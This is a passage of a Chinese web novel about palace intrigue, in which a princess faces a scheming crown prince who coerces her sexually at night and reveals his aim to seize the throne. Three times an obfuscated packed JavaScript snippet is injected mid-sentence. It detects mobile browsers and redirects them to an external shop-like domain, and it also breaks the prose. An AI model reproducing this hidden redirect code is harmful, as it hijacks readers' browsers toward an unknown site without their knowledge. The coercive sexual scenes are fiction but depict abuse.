“不是讥讽,现在的你......”周砚枕顿了顿,幽幽继续道,“像是换了个人一样......” 赵清漓眸中迅速闪过一丝惊诧,慌乱中只看到周砚枕镇静地看着她,露出似是欣赏、似是探究的眼神。 然而也只是一瞬,周砚枕收回那丝探究,目光落回前方脚下的鹅卵石子路上,语气自然:“其实我也并非帮你,于圣上而言,他的想法最为重要,我说什么他都不会在意。” 赵清漓暗自点点头,心中还有件事略觉担忧:“那......你会把今天的事告诉太子吗?” 闻声,周砚枕脚步停了。 赵清漓走出两步,不解地回过头,而周砚枕眉间带着一丝挣扎,看起来表情有些痛苦。 仅仅一瞬,赵清漓以为自己眼花了。 周砚枕怎会觉得痛苦?他一心为太子,他有什么可痛苦的! “刚说完你长进。”周砚枕惋惜地摇头,“我只告诉你,今日的事我不会开口,但今日你在圣上面前说的每一个字,殿下都会一字不落的听进去。” 赵清漓大吃一惊:“父皇身边——” “嘘——” 周砚枕伸出食指,放在唇边做了个噤声的动作,目光似无意地扫过周围,确认没有什么闲杂人等。 周砚枕道:“我知道你想说什么,我只问你一句,你觉得太子是何人?” 赵清漓一时没明白他为什么会这样问,太子是什么人,不就是赵辞、大历的三皇子、她的三皇兄吗? 周砚枕稍微放轻了点语气:“太子是储君,是未来坐上龙椅的那个人,无论太子是谁,掌权是他的能力,亦是义务。” 所以,能够成为太子的人便自然会有眼观六路耳听八方的能力,自然会有让人附庸于他听从于他的能力。父皇年迈,因此无论是谁坐了这太子之位,旁人便会默认他是江山的继承者,未来要听命的人。 她好像有点明白周砚枕当初为什么会说“他是太子”四个字,那不是他向赵辞臣服,而是他向权势臣服,向大历臣服。 是这个意思吗? 但赵清漓还是不能理解共情于他,纵然他有无奈,那为权利而臣服就可以如此戏弄她,如此欺辱她,如此......扮演了这么多年钟情于她的戏码? —————— 月色渐沉。 透过窗棂看去,西边的偏殿灯还透亮。 春桃从身后披了件外衣搭在赵清漓肩上。突如其来的重量扰乱赵清漓的出神,她侧目回神,是春桃关心的表情。 “公主,外头起风了,还是把窗子关上吧。”春桃说完,利落地阖上她面前的窗户,“秋夕多雨,夜里怕又要下了,奴婢替您点了安神香吧。” 赵清漓眼睛微眯,捂着口作势打了个哈欠,懒懒说道:“刚好我也困了,不必点香,你先下去吧。” 春桃便伺候她躺下,把房里的烛火悉数灭掉。黑暗中,赵清漓听到门栏响了几声,似是关严实了,那轻巧的脚步声才逐渐远去。 赵清漓睁开眼,房中一片静寂,静得能清清楚楚听到自己的呼吸声。她却怎么也睡不着,翻来覆去地回想父皇的婉言拒绝,周砚枕对她无奈的话,还有春桃。昔日是她太天真,原来这偌大的皇宫里每个人都如此的会作戏。 正如春桃所说,外头果然下起了雨,淅淅沥沥声音的由小渐大,迅速包裹整间空旷的寝殿。 夜越深了,不知到了几更天,忽的不知哪里起了阵风,轻纱帷幔被吹得飞起一角。一道轻微的关门声短暂响了下,轻纱渐落,冷风消失的无影无踪,房里寒气却陡然添了好几重。 有人进来了。 是春桃?还是周砚枕? 赵清漓佯装睡着,只觉得一只手轻抚上她的侧脸,大约沾染了外头的雨露湿气带着几分凉意险些让她打了个冷颤广藿和檀香的味道着侵蚀她的嗅觉。 来人突然似鼻间溢出一声轻笑似的:“你的心跳得很快。” 既然瞒不过,索性也不装了。 赵清漓翻身朝床榻里头缩了几寸,黑夜中明亮的眼神如受惊小鹿一般,努力把声音放得平稳:“皇兄。” 赵清漓看不真切他的表情,只觉得他应该是笑着撤回了手,拂袖缓缓地坐在床沿。 “到底是长大了,心里想法多了,想做什么也不来找为兄商量了。”赵辞的声音幽幽冷冷的,听不出太多情绪。 若非今天和周砚枕说了许多,她未必想得到赵辞是来兴师问罪的,想来想去,他也只能是来兴师问罪的。 赵清漓斟酌了一下:“皇兄见过父皇了?” 黑暗中的赵辞并未答话,赵清漓继续追问:“父皇如何同你说的?” 赵辞嗤笑一声:“小丫头,你也想套我的话?” 下一刻,稳坐在边缘的身影陡然靠近,带着颇有压迫感的气势迎面席卷而来,那张俊美矜贵的脸就这样猝不及防的在她视线中放大、清晰,只余一拳之隔。 “皇兄!” 赵清漓惊叫一声急忙向后躲,只是腰间钳制她的手臂反应更快,根本没留给她避开的机会。 赵辞的脸上带着不悦。 他从宫外回来,按照以往的习惯,沐浴之后听人回禀宫中动向,没想到却得知赵清漓她们面圣的事,这也就罢了。只道暗卫一字一句述说公主为了离宫事宜在殿上哭的梨花带雨,赵辞这才真动了气,一把掀翻桌台,扬长而去。 “你想离宫,可问过我同不同意了?”赵辞的语气充满威胁。 赵清漓本就觉得憋屈,更是不甘示弱回怼:“我的事,何时需要经过你的同意了?” “哦?”赵辞颇觉意外地挑眉,捏着她的一缕青丝在指尖把玩。 小兔子也有呲牙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999027|193936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的一天,这可让人意外了。 赵清漓啪地打开他的手,嫌恶地后撤几分,尽可能与他保持一点安全的距离。 赵清漓一板一眼地和他对峙:“我知道你是太子,是父皇信任的人,但我也是大历的嫡亲公主,你就不怕我将此事告知父皇,革了你的太子之位?” 赵辞却没有因为她的话恼怒,好脾气地笑弯了眼睛,拖着长长的尾音继续回应:“哦?” 怎么回事。 赵辞越是这样不慌不忙的,赵清漓心里越觉得没底。 莫不是他觉得自己不敢去父皇那里告发他? “你——” “你,可有想过后果?”赵辞不急不缓地打断她的话,顺手在她小脸上掐了一把。 她的脸上因为气恼有点发热,又软乎乎的,像糯米揉的团子,手感甜腻的不行。他突然觉得,这样的触碰实在不够。 于是拦在她腰上的手随心而动,下一刻便勾上她的肩膀,揽着细嫩白皙的脖颈一把搂进自己怀里。 赵清漓瞬间失去平衡,被他强硬地扣在臂弯,两人就这么仰面躺着,若不是头顶黑黢黢的屋顶有点不够浪漫,这两人倒很像一对正在谈心的情人。 赵清漓勉强动了动脑袋,只能看到他上下律动的喉结。 赵辞的声音在头顶上方沉沉响起:“若你真的去告发我,若我也如你所愿削爵流放,你觉得父皇会让谁来做这个太子?是淮王?是赵齐?还是等赵绩他们长大成人再考虑立储之事?” 他冷笑一声:“父皇的身子你我都清楚,眼下如果太子被废,朝堂只会震乱,若再有心术不正之人趁此夺权,大历江山或许会易主也未可知。到那时,我不再是太子,你也不再是公主,你确定这是你想看到的吗?” 赵清漓的确被他的话震慑住片刻,但细想之下,这些都太片面:“六皇兄或许难当大任,但淮王也并没有你说的那么不堪。” 赵辞伸出手指在她唇上捏了一下,胸腔里传出他闷闷的笑声:“你说的对,那便假设淮王和赵齐都能做太子,那父皇呢?” 父皇? 赵清漓抿抿唇,等他继续说下去。 赵辞道:“在此之后旁人会如何看你,又会如何看赵氏一族?清漓,你可以不要自己的名声,父皇的名声你也不要了么?” 赵清漓不想听下去了,这个人似乎有千百个理由在等着她,无论她如何反驳都无济于事,只能吃哑巴亏。 她在心里冷笑,到底是太子,口舌当真厉害! “即便我戳破此事,父皇为了脸面必然不会大肆宣扬,只要旁人不知晓其中缘由,赵氏的名声、父皇的名声都可以保得住!” 赵辞自然不会被她的话影响到,仍是清楚地和她分辨:“父皇年事已高,许多年都无子嗣,而今膝下也只有你一位公主,若你揭发此事,父皇只会伤心至极,甚至大病一场......父皇最疼你,你也最是孝顺,清漓,你当真要如此自私?” 好一个偷梁换柱,说了这么多,竟然把自私的帽子扣到她头上来了? 赵清漓简直气笑了,但也不得不承认他说的确有道理。 她真的要为了给自己争个理而赌上父皇、赌上赵氏、赌上整个大历吗...... 说到底,赵辞吃准了她的无能为力,也是对自己在朝中的位置把控精准,这才敢如此肆无忌惮地行这等宫闱乱事。 可为何、为何他真能做出这等事来? 他真的......如此喜欢自己吗? 9. 第 9 章 赵清漓沉默半晌,轻轻开口:“皇兄。” “嗯?” “父皇......不是你的父皇吗?”她的语气依旧轻柔,却带着深深的无力感。 他只要自己体恤父皇身体,行事却全然不顾及父皇。说到底,他才是永元帝亲生的太子,而非她这个徒有其名的公主。 赵辞把额头朝赵清漓挤了挤,呼吸声近得几乎分辨不出彼此:“他是我的父皇,却不是我一个人的父皇。” 他的语调带着悲伤,这让赵清漓想到了他的生母。 赵清漓是没见过傅雪莹的,就连她的名字也是在赵辞被接回来后许多年才听人提起过。或许是一时兴起,又或许权贵向来如此,反正有这么一个人,也因此才有了赵辞。 赵清漓在皇家长大,却也始终不懂为什么皇族的男人一定要有三妻四妾,一定要有数不清的通房妾室,为什么深宫六院佳丽三千,却还能口口声声说永远深爱自己的母亲。 只为了什么冠冕堂皇的绵延子嗣?好不可笑! “你爱他吗?”赵清漓想了想,觉得这问题有些不妥,又问,“还是恨他?” 赵辞的呼吸微微一滞:“爱,哪有恨来得长久?” 说完,他轻笑两声,贴着她的耳垂啃咬低喃:“如果清漓说恨我,我也会欢喜的。” 疯子! 赵清漓拽着他两根指节用力拉扯,胡乱摇着脑袋想要离他远一点。然而她的力气与赵辞相比实在是天壤之别,同大婚那夜一般,根本不能撼动他半分。 赵辞低低地笑她:“又不是第一次了,怎么还跟只受惊的兔子似的。” 赵清漓又气又恼,又见他被掰着手指却也不疼似的,便大声斥他:“放开!这可不是你的玄华宫,你趁夜潜入我的寝宫,再不放开,我要叫人了!” 赵辞捏着她的下巴看她胡乱扑腾,全然没有一点惊慌的感觉,甚至带了些玩味欣赏起她的表情来。 赵清漓气得银牙都要咬碎了:“来人啊!周砚枕周砚枕周——” 赵辞倏地变了脸色,两指在她脸颊两侧轻轻一夹,还未喊完的话生生被挤回了肚子里,鼓起的小脸皱皱巴巴的以示她的抗拒,偏巧嘴巴又被使着力气不能合上,看起来很是可怜。 赵辞唇边挂着几分讥讽:“皇妹是想请他过来旁听,还是邀他过来细赏?嗯?” 最后的“嗯”中警告之意已经十分浓了,看着他的表情,赵清漓不得不相信他是真的能做出这种事来。毕竟,他是个疯子!疯子懂什么廉耻? “皇、皇兄......” 赵清漓还被他捏着脸颊,口齿不清地唤他,喉咙不受控制地吞咽着。小嘴微张,柔声嘤咛,看在赵辞眼里却成了别样意思,像是在......引诱他。 赵辞从来都知道自己不是个君子,面对心仪之人的引诱,更不会自持,只会欣然接受。 干涩的唇紧跟着覆上,舌尖毫不受阻地长驱直入。手上力道却渐渐松了,留给她一丝可以喘息的空间。掌间厚厚的茧子在她颈间肌肤粗鲁地掠夺,很快蹭出几片梅色的。与周砚枕不同,他的指腹和掌心都挂着茧,那是常年手握兵刃的结果,而非仅仅握着笔杆子的痕迹。 脑海深处的记忆忽的唤起赵清漓内心深处的恐慌,她本能地想要抗拒,胃底的恶心让她忍不住开始战栗,齿尖立刻抵抗着地去咬他。很快,腥甜的味道在口中蔓延,带着银丝挂在微肿的唇角。 “赵清漓,我以为你是聪明人。” 聪明人就该懂得不要顽抗,更不应该在这个时候坏他的好兴致,否则他不介意直接将人捆起来,活人果然是不老实。 赵清漓闷哼一声,杏眼因为呼吸不畅起了层薄雾:“我......我那里还有点痛......” 赵辞反应了片刻,而后怔然,他在思考赵清漓是不是装的,但这会儿功夫也的确冷静了一些。 手掌动了动,带着薄茧的指腹准确找到了让她本能颤抖的位置。 赵辞确认了一下:“这里?” “......嗯。”赵清漓强忍着不适,尽量显得自然地和他交流。 不过她的确不完全是装的,正所谓半真半假最是让人难以分辨,况且赵辞毕竟不是女子,不可能对她的感受知道的事无巨细。 短暂的思索过后,赵辞抿了抿唇,倏然收回手指。 身上沉重的压迫感顷刻消失,赵清漓得空换一口气,自觉地收拾自己凌乱的寝衣,就听见身边衣料摩擦的声音。 “明日,我会派人给你送药。” 赵清漓嗯了一声,突然问道:“春桃是你的人吗?” 环佩碰撞的声音滞了一瞬,继而叮叮当当地继续响起来。 “是。” 原来跟她三年形影不离的婢女,也可以是他人迫害自己的帮凶。 赵清漓心中虽然早已有了答案,但听到这样清楚的回答,还是抑制不住失望:“......她是什么时候开始听命于你的?” 床榻前,赵辞已经穿戴整齐,矜贵自持的模样一如白日所见。 他转过身,坐在她身边轻抚她的脸:“没有什么开始,从一开始她就是我的人。” 三年前的赵清漓才十四岁,而赵辞也不过是个十七岁的少年,那时他初露锋芒,却没想到已经有了这样大的心思和计划,在她身边也布下罗网! 如此筹谋。 赵清漓猛地抓住他的手腕:“你到底想要什么?” 赵辞弯了弯唇角,声音清冷又平静:“我想做太子。” “你已经是太子了!”赵清漓蹙眉,好心提醒他。 赵辞加深了唇角的笑意,一只手覆上她的手背,温柔地把她软若无骨的手取下,好好地放回锦被中,接着仔细地为她掖好被角。 做完这些,赵辞在她额角印上浅浅一吻,像是述说平常之物一样说道:“所以,我现在想做皇帝。” —————— 翌日。 雨后初晴,空气里混合着雨水滋润过泥土和青草的清新味道,让人神清气爽。 房檐下的燕雀在窝里梳洗好了翅膀,听得同伴的召唤后倏然起飞,穿过碧绿纷杂的杨柳枝条,打落了几片青翠的叶子,扑腾声惊扰了院落墙边丫鬟相互交谈的声音。 赵清漓坐在石台前发呆,没一会儿,就见夏荷领着个脸生的丫鬟进了院子。 买过门槛,夏荷抬着一只胳手引人上前:“公主,太子殿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999028|193936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下派人来给您送些东西。” 赵清漓脸颊一热,顿时感觉头昏脑胀的。 赵辞他没事吧,这么毫不避讳地派人来给她送药,到底是怕人知道还是想让人知道啊! 樱桃红唇微微张了张,而后紧紧抿成一条线,好半晌儿她才找回自己的声音:“拿过来吧。” “是。”夏荷接过锦盒。 那锦盒的外衣上用蚕丝线绣着蟒纹,红纹金鳞栩栩如生,连只盒子都做得如此精巧细致,让人一眼就知晓是太子宫里所出之物,自然不敢懈怠。扳开古铜做的搭扣,楠木里头是几只白润光泽的骨玉瓷瓶,攥在手心里也是温凉的感觉。 那丫鬟又说:“太子殿下听闻公主最近总是头痛,这药据说有奇效,只需每晚涂抹在当阳穴处,两日便会好了。” 赵清漓长出一口气,还好他没有直接告诉这丫头这些药是做什么用的,否则她一定当场羞愧而死。 想来也是,玄华宫她常去,赵辞身边的人她差不多都能认得,这种脸生的大约也只用这么一次,自是不会让她知道太多。 夏荷送走了太子派来的丫鬟,看着赵清漓紧紧把瓷瓶攥在手里若有所思的样子,感叹道:“太子殿下对公主真是上心呀,连奴婢都不知道您头痛的事呢!” 是吧,她自己也不知道呢。 赵清漓扯扯嘴角,想到今早起来似乎没在院里见到春桃:“春桃呢?” 夏荷回答:“噢,后天就是长宁公主的接风宴了,宫里的御厨新做了许多菜式,说是让各个宫里都尝尝,看看有没有需要改进的。” 原来是去了御厨那里。礼部的人操办起这些事来还挺用心的,怕是也知道长宁公主不是个好糊弄的主,生怕父皇迁怒吧。 赵清漓点点头,突然心中一动:“我记得你先前是跟着惠贵妃的,在那之前呢?可有跟过别的主子?” 夏荷摇摇头:“没有了,奴婢自打入宫以来就是跟着惠贵妃的,不过......不过后来圣上不怎么去贵妃那里了,贵妃娘娘也说不需要那么多人在宫里伺候了,所以我们就被分到各个宫里。” 赵清漓回想着,夏荷来韶音宫比春桃晚些,也就是太子立诏刚下来时。瑞王流放,淮王失势,再到赵辞立储。 从前她总觉得用人麻烦,春桃又是个机灵会来事的,既然用得顺手,便也就一直顺手用着了。因此她倒少去深究其他人的来历。 因为争权之事,惠贵妃看待赵辞并不算友好,或许夏荷并不是太子的人。 赵清漓垂眸想了想,又问:“周砚枕呢?” 昨夜那么大的动静,也不知道他听着没有。 虽然他们二人名不副实,想想也还是觉得难堪。 夏荷道:“驸马一早就出宫去了。” 赵清漓讶然:“可有交代是什么事?” “没说。”夏荷一脸歉意,身为奴婢,她哪里敢问主子的私事。 兴许,是有太子交代的事要办吧。 不过最近他因为弹劾文书的事头疼至此,居然还能挤出时间一大早出宫去,要不说他周砚枕能被太子高看一眼呢? 也罢,现在的确还有件让她更为头疼的事。 九月二十四,接风宴。 10. 第 10 章 暮色已至,宫门落锁,长街尽头一辆马车不紧不慢缓缓而来,稳稳当当停在定南门前。 四匹良驹套着銮金的鞍具,朱红髹漆的车厢四角缠着金铜打制的蟒纹云枝,霞帔上珍珠金丝点缀,额顶还镶有红玛瑙,一风一动都流转着光彩。 驾车的侍卫翻身落地,利落地搭好木梯,身边侍候的太监紧跟着铺上绒毯,车厢里身穿华服的男人慢悠悠地下车,顺势把手搭在小太监等着伴驾的胳膊上。 这人长得跟丽妃七分相似,虽是男子,却生得媚态,再瞧他满脸醉意,准是刚喝了花酒回来。此人定是六皇子赵齐不会错了。 待赵齐进了城,身后钉满碗口大小铜钉的楠木大门缓缓关上,宫门下钥,他是最后一个回宫的。 周砚枕一整天都没回来。 赵清漓看着满桌精致的佳肴,胃口却好不起来。 虽然她和周砚枕没有夫妻之实,周砚枕也的确是做了对不住她的事,但数年的感情岂是一朝一夕就能彻底忘却的,她怨周砚枕,却没办法强迫自己忽视自己的感情,哪怕是笑话一样的感情。 远远的,夏荷慌不迭跑进来的身影越来越近。 赵清漓放下汤匙,拿起丝绢方巾在唇边按了按,抬起漂亮的眸子等人回话。 夏荷摇摇头:“奴婢眼瞅着宫门落锁了,连六皇子都回宫了,没见着驸马爷。” 周砚枕要做什么她是管不着的,但两人明面上还是新婚夫妻,他可倒好,连几分薄面都不给自己留! “哟,皇妹这么晚了才用膳,该不会是在等我吧?” 一道轻佻的男声打乱她的思绪。 赵清漓看着这人大摇大摆进了屋,自觉坐在椅子上,忍不住掩住口鼻,略微蹙眉:“六皇兄这是又去哪里寻欢作乐了?” “......”赵齐扯过自己的衣袖细细嗅了几下,尴尬地笑道,“坊间的胭脂俗粉是呛人了一些,比不得宫里的香料都是进贡而来,皇妹莫要见怪。” “无碍。”赵清漓轻咳两声,舀一碗甜桂花送到他手里,“园里的金桂开的正好,御厨拿它新制了甜羹,六皇兄喝些醒醒酒吧。” “对了,皇兄有阵子没来看我了,今日怎么得空?” 赵齐比她不过大了一岁,虽然性子风流,对她倒是不错,每次来她宫里看望总会带着些新得的稀罕玩意儿送她玩赏。不过今日看他两手空空,想必是有事。 赵齐伸出一根手指正要侃侃而谈,突然顿了一下,板着脸吩咐旁人:“你们先下去吧,本殿下和皇妹用膳,不习惯人伺候。” 夏荷和冬梅互看一眼,应了声“是”,随后把门带上离开。 摒退了下人,赵齐拿起汤匙尝了口汤,香甜的桂花浇过蜂蜜味道香甜落进胃里,给今夜秋夕的清寒带来些许暖意。 赵清漓歪着脑袋,睁着杏眸询问:“皇兄还没说找我什么事呢?” 赵齐捏着汤匙的手指一滞,神色有些不自然:“周砚枕呢?你们新婚燕尔,他怎么连晚膳都不陪你用?” “哦......他不在,许是朝中有什么事要忙吧。”赵清漓含糊地回应。 “哼!”赵齐冷笑一声,一拍桌子,碧色的小碗在桌面震了一震,“皇妹可知道我去了哪里?” ......烟花柳巷,她哪里猜得到这位六皇兄今天去了哪位娘子的床榻。 赵齐显然只是为了卖个关子:“我去了倚香楼!” 接着他又问:“那你猜猜,我今日遇见谁了?” 赵清漓眨了眨眼,心道他不会无缘无故来找自己谈论私事,更不会提及与自己毫不相干的人。 赵清漓犹豫着张了张口:“......难不成是......驸马?” “聪明!”赵齐屈起食指在她脑袋上敲了一下,很快又耷拉下脸来,“我跟你说啊皇妹,你那个驸马实在是太不靠谱了,你皇兄我因为顾及皇家颜面,向来不逛咱们京中的窑子,今日要不是上官家的小子非拉我去,我可万万不会知晓此事了!” 赵清漓如遭霹雳,赵齐说了什么,她已经听不大清了。她只知道她的驸马,官场上人人赞誉的御史中丞,她喜欢了那么多年的周砚枕......去了青楼。 许久,她找回一些神志,声音略带喑哑:“你亲眼见到了?” “那倒没有。听闻楼里的花魁芍药娘子美艳不可方物,我赵齐出身皇族,要睡也得睡那倚香楼里最美的,再说了,我也不差那点金子,但没想到,那芍药娘子不肯见我!”说着,他面露不快,“后来我找那老板秋娘着力打听一番,才知道是有位周大人早早占了先机!听描述,准是你那位新驸马周砚枕没错!” 咣当—— 碧玉精巧的雕荷小碗落在地上,同色玉石烧制的汤匙也断成两节。 雪锻之下,泛着绯色的细指攥的全无血色。 赵齐说到兴处,也失了眼色:“真不知道咱们太子哥哥安的什么心,那周大人去倚香楼都成了熟客了,少说也不止一两个年头,这等金玉其外败絮其中表里不一的伪君子,他怎么眼睁睁看着你嫁给这样的人啊!” “是啊。”赵清漓的唇紧紧抿着,指甲嵌进肉里,“太子哥哥当真好算计......” “哎,我说皇妹,气大伤身,你也不要太过在意了,大不了休了那周砚枕便是!”赵齐自顾自地说着,陡然看到赵清漓煞白的脸色,舌头顿时打了结,“呃......你要实在舍不得,带回来好好惩戒也行!知错能改,善莫大焉嘛......” 赵清漓深深提了提气,换上一副温顺的笑脸:“六皇兄说的是,你放心吧,清漓心里有数。” 赵齐有点不放心:“你真没事?” 赵清漓笑着摇头,故作轻松道:“没事。” 来这一趟吹过许久的夜风,加之聊上这么半天,赵齐的酒也醒了大半。 “好吧,时候也不早了,那我就先回去了!对了,皇妹得闲时候记得去母妃那里坐坐,也替哥哥我规劝规劝,少让她操心我的婚事。”赵齐抬了抬手,示意不用送了。 院落起了阵风,摇晃的金桂树上落下星星点点,满堂飘香,粉白的秋菊在树下摇曳,好不惬意。 金殿中,偌大的殿堂只余灯影闪烁,红烛火芯噼啪作响。 这晚,周砚枕彻夜未归。 第二日。 一大清早,制造司的宫人将新制的礼服送去各个宫殿。 送至韶音宫的是一套云霏妆花缎织的百花蝴蝶锦衣,金粉勾勒的暗纹则是特意选了流光软银线,鸾鸟纹玉带上,大大小小的珍珠点缀其间,娇娆又华贵,据说是太子特意嘱咐定做的样式。 赵清漓目光随意扫过,兴致缺缺。 春桃疑惑:“这华服真好看,公主不试试?” 赵清漓深深望了春桃一眼,收回下巴,淡淡说道:“既是太子安排的,想来不会出错。” 春桃还是一脸遗憾,咂着嘴将衣裳收起来。 “太子许了你什么好处?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999029|193936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 春桃怔了怔,叠衣服的手指微不可闻地一抖,仰头无辜的神情看着赵清漓:“公主,您说这话是什么意思啊?” 赵清漓冷冷笑了,从方凳上缓缓起身,目光落在窗外泛着光泽的池面:“大婚之夜的茶水、搁在储柜里的熏香......春桃,你我都心知肚明,这里没有旁人,就不必再演了吧?” 春桃听完,扑通一声跪在地上,头颅垂的低低的不敢抬起,肩头抑制不住地抖。 “我对你好,你就真拿我当傻子?” 这个时候还要演戏,莫不是真觉得自己失心疯了! 春桃的声音颤抖着从地上传来:“公主殿下,奴婢知道自己做了错事,但太子命令奴婢不敢不从啊!” “抬头。” 春桃不敢动作,只知一味的发抖。 她越是这样可怜模样,赵清漓越觉得恶心,抬起腿便是一脚在她肩头,直把春桃掀在地上。 “本宫叫你抬头!” 赵清漓加重了语气,春桃终于抬起她满是泪水的小脸,无助地看着她。 “怎么?你便是这样讨得太子信任,将你送到我身边来的?”赵清漓满眼的讥讽,唇角勾起冷漠的弧度。 “公主殿下误会了!奴婢虽然听命于太子,但也从未想过害您啊!”春桃连连摆手,解释道,“太子殿下对奴婢有救命之恩,奴婢只想太子殿下和您好好的,从未做过他想!” 说完,春桃伏在地上重重地磕着头,直至额头迅速破皮红肿起来仍不敢停。 “好了。”赵清漓一甩长袖,踏着飘然的步伐倚在云榻上,“你既然知错,本宫给你个赎罪的机会可好?” “这......”春桃犹豫了。 她虽然心里有愧,但也的确不敢背叛太子,于恩、于权,她都不能这么做。 赵清漓心里明镜儿似的,即刻看穿了她的想法:“放心,不过问你几个问题,不用这么紧张。” 春桃咽了咽口水,颤颤巍巍地跪走近云榻前,小声询问:“公主想问什么,奴婢......奴婢一定知无不言......” 周砚枕正是三年前殿试第一,自此在朝野站住脚跟,春桃比周砚枕进宫还早那么几个月,想必知道些什么。 “我且问你,周砚枕是何时被太子收入麾下的?” 春桃茫然地愣了片刻,低声道:“......奴婢不知。” 赵清漓微微拧眉,语气急了几分:“那周砚枕在宫外可有相好,什么时候有的?” 春桃答不上来,立刻伏在地上又磕了几个头,战战兢兢回答:“奴婢真的不清楚,奴婢只是听太子殿下的话好好侍奉您,旁的、旁的事殿下怎么会和奴婢说呢!” “你——” 赵清漓正欲责备她,想到赵辞这般谨慎的性子做事向来滴水不漏,否则自己也不会被蒙在鼓里这么多年。春桃不过一个小小的婢女,赵辞确实不会和她透露太多。 赵清漓顿感颓然,揉了揉额角:“罢了,你下去吧。” 赵清漓知道春桃或许会把今天的对话一五一十回禀给赵辞,但无所谓了,宫中太子的眼线不止春桃,兴许昨晚六皇兄来访的事他就已经知道了,只需问问周砚枕晚上去了哪里,凭他的脑子猜出六皇兄告诉了她什么不是难事。 赵辞......他究竟是什么时候开始觊觎太子之位的,又是什么时候开始为他的野心布局的? 还有,他到底是什么时候开始把她算计进来的? 11. 第 11 章 玄华宫。 偏殿大门外艳阳高照,映在门前台阶上,周砚枕跪在大殿中央,背脊头颅却挺得笔直,宛若一副要就义的模样。 赵辞敲了敲茶盏,面上如寒冬湖水一般安然不动。 偏殿之中安静了好一会儿,赵辞才懒散地瞥了地上那人一眼:“没让你跪。” “臣自知有罪,理应跪罚。”说话时,周砚枕的表情始终清冷的很,说着认错的话却全无认错之态。 好似赵辞也不在意这些,他一手将周砚枕提拔至此,当然也了解这人的性子。 食指在黝木桌面上轻叩两下,屏风后面立即有侍从抬着圈椅摆在殿中,而后抬手请周砚枕坐下。 周砚枕在此间隙微微抬眼,将高阶上稳坐太子椅上那人的表情尽收眼底,而后垂头下头,一言不发。 赵辞抿一口茶,幽幽开口:“你最近见她有些频繁了。” “是。”周砚枕声音淡淡的,却十分清晰,“臣知罪。” “既然知罪,就收敛些,想想回去如何解释。”赵辞轻皱眉头,语气中有些不悦。 周砚枕默然片刻,兀的开口:“臣以为,让公主认清臣非良人,对殿下您应当有利。” “有利无利本宫说了才算。”赵辞倏然起身,居高临下地站在高处看着他,“周中丞,你要做的是听命于本宫,不是替本宫做决定。” 周砚枕沉默了,挺着笔直的脊背起身,而后深深弯下腰去:“臣,明白。” 赵清漓一夜未好好入眠,根本无需其他人向太子通风报信,她自己就已经按捺不住过来质问了。好在她和太子交好所有人都知晓,因此出入玄华宫也不会引起旁人猜疑。 这边容追刚送走了周大人,提着刀回身进门,余光瞥见不远处靛色的华服少女火急火燎正朝这干,身后跟着的正是韶音宫里常来报信的春桃。 容追吃了一惊,站在门前等候片刻:“公主怎么来了?” “怎么,本公主不能来吗?”赵清漓横了他一眼。 容追跟在太子身边总也有五六个年头了,可以说是赵辞一干暗卫中的心腹,赵清漓还是小丫头片子的时候就对他印象深刻,几乎不爱笑,却很容易动怒,总一副别人欠他银子的苦大仇深的表情。但或许是因为太子的缘故,他对赵清漓倒算恭敬友好。 还好周大人已经离开,否则在这里撞上公主怕又要给殿下添麻烦。 容追暗自松一口气,自是不会把周砚枕来过的事透露给她:“烦请公主稍等片刻,属下先去通报——” “什么时候本宫来找太子还需要通报了?”赵清漓才不理会他说的乱七八糟的废话,提起裙摆就往里闯。 春桃和容追互相看了一眼,春桃露出心虚的表情,咬着嘴唇默不作声地跟上。 偏殿之中,桌面上的斗彩云纹茶盏换成了瓷胎粉彩荷花纹样,杯中的碧螺春也是新沏的,一切待客过的痕迹都被清理的干干净净,赵辞倚在桌前悠闲品着茶,神态自若。 落在赵清漓眼中的便是这样一番场景,她脚下一滞,接着弯起唇角缓步走近:“太子哥哥好雅兴。” 久违的称呼让赵辞捏着茶盏的手腕微微一顿,垂下眼睫藏起心中思绪。 这个节骨眼儿如此唤他,要么是他这妹妹转了性,要么就是来兴师问罪的。赵辞自然不会想当然的认为是后者。 他淡淡地笑着:“清漓可是许久未踏足我这小院了,你瞧,冷清了不少。” 正说着,容追和春桃也到了门栏前。 “太子殿下。”容追扫了春桃一眼,请示是否可以将她的婢女留下。 赵清漓见多了,也就能领会他们在打什么哑谜,便道:“不必了,反正这屋里都是太子哥哥的人,在与不在有什么分别。” 这句话落在赵辞耳朵里却是格外动听。 都是他的人,也包括她自己么? 管她如何作想,赵辞便这么认为了,因此十分好心情地眯起眼:“清漓说什么便是什么。” 